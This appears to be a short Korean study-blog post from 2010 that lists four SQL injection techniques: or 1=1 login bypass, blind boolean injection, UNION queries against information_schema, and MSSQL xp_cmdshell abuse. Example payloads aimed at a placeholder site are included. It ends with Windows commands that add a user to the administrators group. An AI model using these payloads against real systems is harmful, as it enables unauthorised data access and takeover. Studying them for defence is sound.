Web H&S/Web Basic

1. SQL Injection

T-Evan 2010. 12. 9. 18:29
★ 공격 방법

1) 논리적 에러를 이용하는 SQL Injection

    - SQL Injection의 기본적인 기법으로 '를 통해 에러를 확인하고, or 1=1 등의 논리적인 에러를 통해 시스템 권한 체크를 우회하는 기법이다.
ex) SELECT * FROM user_data WHERE last_name = 'Your Name' or '1 = 1'



2) 쿼리 가능 여부를 이용하는 Blind SQL Injection

    - 악의적인 ㅁ누자열 삽입 대신 쿼리 결과 (참 or 거짓)에 따라 정보를 취득하는 기법이다.
ex1) http://www.xxx.com/page.php?id=5 and 1=1     // id=5의 페이지로 이동
ex2) http://www.xxx.com/page.php?id=5 and 1=2     // 결과 x, 페이지 변동 x



3) 두 개 이상의 쿼리를 이용하는 Union SQL Injection

    - Union은 2개 이상의 쿼리를 요청하여 결과를 얻는 SQL 연산자이다. 공격자는 이를 악용하여 원래의 요청에 한 개의 추가 쿼리를 삽입하여 정보를 얻어내는 방식이다.
ex) http://www.xxx.com/news/php?id=5 union all select 1, table_name, 3 from information_schema.tables
테이블 정보가 들어있는 information_schema.tables 에서 테이블 정보를 요청.



4) 저장 프로시저를 이용하는 Stored Procedure SQL Injection (확장형 저장 프로시저 종류 검색)

    - 저장 프로시저는 운영상의 편이를 위해 만들어둔 SQL 모음집 형태로 이해하면 된다. 특히 MSSQL의 xp_cmdshell은 윈도우 명령어를 실행하는 역할을 하는 저장 프로시저이다.
ex) http://url/checkid.asp?id=';CREATE ..... r.dbo.xp_"cmdshell%20' netstat%20-an';

사용자 추가 : net user  [id] [pw] /add
사용자 그룹 추가 : net localgroup administrators [id] /add